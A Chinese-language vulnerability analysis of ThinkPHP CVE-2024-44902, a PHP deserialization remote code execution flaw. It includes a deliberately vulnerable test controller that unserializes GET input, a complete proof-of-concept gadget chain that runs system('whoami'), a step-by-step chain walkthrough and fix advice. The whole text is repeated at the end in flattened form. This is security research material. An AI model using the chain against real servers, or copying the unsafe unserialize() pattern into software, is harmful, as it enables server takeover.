thinkphp最新CVE-2024-44902反序列化漏洞
字数 774 2025-08-24 07:48:34

ThinkPHP CVE-2024-44902 反序列化漏洞分析与利用

漏洞概述

CVE-2024-44902 是 ThinkPHP 框架中的一个反序列化漏洞,影响 ThinkPHP 8.x 版本。该漏洞允许攻击者通过精心构造的反序列化数据实现远程代码执行(RCE)。

环境搭建

测试环境要求

  • ThinkPHP 8.x
  • PHP 8.0.2+

漏洞测试代码

在控制器中设置反序列化入口点:

namespace app\controller;

use app\BaseController;

class Index extends BaseController {
    public function index() {
        unserialize($_GET['x']);
        return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
    }
    
    public function hello($name = 'ThinkPHP8') {
        return 'hello,' . $name;
    }
}

漏洞利用链分析

完整POC

<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached {
    protected $options = [];
    function __construct() {
        $this->options["username"] = new Pivot();
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {}

namespace think;
abstract class Model {
    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    function __construct() {
        $this->data["fru1ts"] = ["whoami"];
        $this->withAttr["fru1ts"] = ["system"];
        $this->json = ["fru1ts"];
    }
}

namespace think\route;
use think\DbManager;
class ResourceRegister {
    protected $registered = false;
    protected $resource;
    function __construct() {
        $this->registered = false;
        $this->resource = new DbManager();
    }
}

namespace think;
use think\model\Pivot;
class DbManager {
    protected $instance = [];
    protected $config = [];
    function __construct() {
        $this->config["connections"] = ["getRule" => [
            "type" => "\\think\\cache\\driver\\Memcached",
            "username" => new Pivot()
        ]];
        $this->config["default"] = "getRule";
    }
}

use think\route\ResourceRegister;
$r = new ResourceRegister();
echo urlencode(serialize($r));
?>

利用链分析

  1. 入口点 - ResourceRegister::__destruct()

    public function __destruct() {
        if (!$this->registered) {
            $this->register();
        }
    }
    
  2. 触发register方法

    protected function register() {
        $this->registered = true;
        $this->resource->parseGroupRule($this->resource->getRule());
    }
    
  3. 调用DbManager的__call方法

    public function __call($method, $args) {
        return call_user_func_array([$this->connect(), $method], $args);
    }
    
  4. 触发connect方法

    public function connect(string $name = null, bool $force = false) {
        return $this->instance($name, $force);
    }
    
  5. instance方法处理

    if (empty($name)) {
        $name = $this->getConfig('default', 'mysql');
    }
    
  6. createConnection方法

    protected function createConnection(string $name): ConnectionInterface {
        $config = $this->getConnectionConfig($name);
        $type = !empty($config['type']) ? $config['type'] : 'mysql';
        if (str_contains($type, '\\')) {
            $class = $type;
        } else {
            $class = '\\think\\db\\connector\\' . ucfirst($type);
        }
        $connection = new $class($config);
        // ...
    }
    
  7. Memcached类触发

    if ('' != $this->options['username']) {
        $this->handler->setOption(\Memcached::OPT_BINARY_PROTOCOL, true);
        $this->handler->setSaslAuthData($this->options['username'], $this->options['password']);
    }
    
  8. 触发Pivot的toString方法
    这是ThinkPHP 6.x反序列化链的延续部分,最终会触发命令执行。

关键点分析

命令执行部分

  1. getJsonValue方法

    protected function getJsonValue($name, $value) {
        if (is_null($value)) {
            return $value;
        }
        foreach ($this->withAttr[$name] as $key => $closure) {
            if ($this->jsonAssoc) {
                $value[$key] = $closure($value[$key], $value);
            } else {
                $value->$key = $closure($value->$key, $value);
            }
        }
        return $value;
    }
    
  2. 触发条件

    • in_array($fieldName, $this->json) 必须为真
    • is_array($this->withAttr[$fieldName]) 必须为真
    • $this->jsonAssoc 必须为true
  3. 构造参数

    private $data = ["key" => ["key1" => "whoami"]];
    private $withAttr = ["key" => ["key1" => "system"]];
    protected $json = ["key"];
    protected $jsonAssoc = true;
    
  4. 最终执行

    $closure($value[$key], $value); // 变为 system('whoami', $value)
    

漏洞修复建议

  1. 升级到最新版本的ThinkPHP
  2. 避免在代码中使用unserialize()函数处理用户输入
  3. 使用PHP的allowed_classes选项限制反序列化时的类

调试问题说明

在调试过程中可能会出现命令执行不稳定的情况,这通常是由于:

  1. PHP版本差异导致的反序列化行为不同
  2. ThinkPHP框架的缓存机制影响
  3. 环境配置差异(如PHP扩展、安全设置等)

建议在纯净的测试环境中进行复现,确保所有依赖项版本与漏洞描述一致。

ThinkPHP CVE-2024-44902 反序列化漏洞分析与利用 漏洞概述 CVE-2024-44902 是 ThinkPHP 框架中的一个反序列化漏洞,影响 ThinkPHP 8.x 版本。该漏洞允许攻击者通过精心构造的反序列化数据实现远程代码执行(RCE)。 环境搭建 测试环境要求 ThinkPHP 8.x PHP 8.0.2+ 漏洞测试代码 在控制器中设置反序列化入口点: 漏洞利用链分析 完整POC 利用链分析 入口点 - ResourceRegister::__destruct() 触发register方法 调用DbManager的__ call方法 触发connect方法 instance方法处理 createConnection方法 Memcached类触发 触发Pivot的toString方法 这是ThinkPHP 6.x反序列化链的延续部分,最终会触发命令执行。 关键点分析 命令执行部分 getJsonValue方法 触发条件 in_array($fieldName, $this->json) 必须为真 is_array($this->withAttr[$fieldName]) 必须为真 $this->jsonAssoc 必须为true 构造参数 最终执行 漏洞修复建议 升级到最新版本的ThinkPHP 避免在代码中使用 unserialize() 函数处理用户输入 使用PHP的 allowed_classes 选项限制反序列化时的类 调试问题说明 在调试过程中可能会出现命令执行不稳定的情况,这通常是由于: PHP版本差异导致的反序列化行为不同 ThinkPHP框架的缓存机制影响 环境配置差异(如PHP扩展、安全设置等) 建议在纯净的测试环境中进行复现,确保所有依赖项版本与漏洞描述一致。